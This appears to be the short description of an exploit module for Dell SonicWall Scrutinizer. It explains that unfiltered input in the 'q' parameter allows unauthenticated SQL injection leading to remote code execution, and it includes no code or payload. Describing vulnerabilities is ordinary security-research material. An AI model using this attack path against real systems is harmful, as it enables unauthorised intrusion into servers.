          This module exploits a vulnerability found in Dell SonicWall Scrutinizer.
        While handling the 'q' parameter, the PHP application does not properly filter
        the user-supplied data, which can be manipulated to inject SQL commands, and
        then gain remote code execution.  Please note that authentication is NOT needed
        to exploit this vulnerability.
